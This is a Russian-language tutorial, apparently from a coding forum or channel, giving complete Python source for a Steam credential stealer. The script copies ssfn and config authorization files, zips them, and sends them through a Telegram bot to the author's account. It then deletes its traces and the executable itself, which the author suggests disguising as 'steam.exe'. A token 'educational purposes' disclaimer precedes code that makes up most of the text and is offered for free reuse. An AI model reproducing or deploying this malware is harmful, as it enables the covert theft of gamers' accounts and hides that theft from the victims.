Отправка Steam файлов авторизации через бота в телеграм
Весь материал исключительно в ознакомительных целях.
Все началось с этой статьи:
Мне захотелось сделать скрипт который будет копировать эти файлы и отправлять их нам в архиве.
Меньше слов больше кода.
Начинаем как обычно с импорта зависимостей. Рекомендую конвертировать скрипт в exe с помощью PyInstaller.
import os import shutil import zipfile from telethon import TelegramClient, events import asyncio
Далее зададим константы:
exe_name = 'steam.exe' FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache' STEAM_PATH = 'C:\\Program Files (x86)\\Steam' YOU_ID = 123123123 bot = TelegramClient('bot', 123123, 'xxxxxxxxxxxxxxxx').start(bot_token='123123:xxxxxxx-xxxxxxxx')
В exe_name необходимо вписать название нашего будущего файла, т.к. после отправления данных, он самоликвидируется.
Вторая строка - место, куда временно будут сохраняться файлы до отправки. После отправки мы их конечно же удалим.
Третья строка отвечает за папку стима, по умолчанию стим устанавливается в C:\\Program Files (x86)\\Steam.
На четвертой строке мы указываем наш айди в телеграме. Не забывайте что боту надо написать старт что бы он мог вам что либо отправлять.
Т.к. отправка будет происходить с помощью либы telethon - нам необходимо получить api_id и api_hash ну и соответственно бот токен.
Как получить api_id и api_hash можете узнать в этой статье: Клик
Токен бота получаем у @BotFather.
С самым сложным разобрались, давайте двигаться к лёгкому.
Далее идёт функция создания папки, копирования файлов и их дальнейшая архивация.
async def get_files(): try: os.makedirs(FOLDER_ARCHIVE) except: pass ssfn_array = [] for root, dirs, files in os.walk(STEAM_PATH): for i in files: if i.startswith('ssfn'): ssfn_array.append(i) shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE) shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE) shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE) for ssfn in ssfn_array: shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE) file = os.listdir(FOLDER_ARCHIVE) for filess in file: newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a') newzip.write(FOLDER_ARCHIVE +'\\' + str(filess)) newzip.close()
Итак, поподробнее, на первых четырёх строчках,используя try-except, мы пробуем создать папку если таковой нет в AppData/Roaming, если такой папки не существует то мы её создадим. Далее мы с помощью цикла идём по папке Steam и ищем там заветные ssfn файлы, добавляем их в массив для последующего копирования.
Далее идут 3 строки которые отвечают за копирование нужных файлов авторизации. Затем мы проходим циклом по массиву с нашими ssfn файлами и так же копируем их в нужную нам папку.
Далее идёт очень фрагмент кода, в нём мы архивируем все файлы из папки в которую сохранили конфиги. После создания архива, прописываем главную функцию.
async def main(): await get_files() await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip') shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None) os.remove(os.getcwd() + '\\' + exe_name) asyncio.get_event_loop().run_until_complete(main())
Здесь сначала создаётся асинхронная функция, потому что Teleton работает только асинхронно. Далее вызываем функцию по созданию архива, затем отправляем на ваш айди архив, после чего удаляем папку из AppData/Roaming и сам скрипт. к сожалению, у пользователя остаётся файл сессии, но не думаю что обычный юзер поймет, для чего он и попросту его удалит.
Последняя строка отвечает за запуск функции main().
Полный листинг:
import os import shutil import zipfile from telethon import TelegramClient, events import asyncio exe_name = 'steam.exe' FOLDER_ARCHIVE = os.getenv('APPDATA') + '\\cache' STEAM_PATH = 'C:\\Steam' YOU_ID = 123123 bot = TelegramClient('bot', 123123, 'xxxxxxx').start(bot_token='123123:xxxx-xxxx') async def get_files(): try: os.makedirs(FOLDER_ARCHIVE) except: pass ssfn_array = [] for root, dirs, files in os.walk(STEAM_PATH): for i in files: if i.startswith('ssfn'): ssfn_array.append(i) shutil.copy(STEAM_PATH + '\\config\\config.vdf', FOLDER_ARCHIVE) shutil.copy(STEAM_PATH + '\\config\\loginusers.vdf', FOLDER_ARCHIVE) shutil.copy(STEAM_PATH + '\\config\\steamapps.vrmanifest', FOLDER_ARCHIVE) for ssfn in ssfn_array: shutil.copy(STEAM_PATH + '\\' + ssfn, FOLDER_ARCHIVE) file = os.listdir(FOLDER_ARCHIVE) for filess in file: print(filess) newzip = zipfile.ZipFile(FOLDER_ARCHIVE + '\\steams.zip','a') newzip.write(FOLDER_ARCHIVE +'\\' + str(filess)) newzip.close() async def main(): await get_files() await bot.send_file(YOU_ID, FOLDER_ARCHIVE + '\\steams.zip') shutil.rmtree(FOLDER_ARCHIVE, ignore_errors=True, onerror=None) os.remove(os.getcwd() + '\\' + exe_name) asyncio.get_event_loop().run_until_complete(main())
Прошу меня простить за мой ужасный код, вы всегда можете модифицировать мой код и использовать как хотите, я не несу за это ответственности.
Телеграм канал: https://t.me/CodingCommunity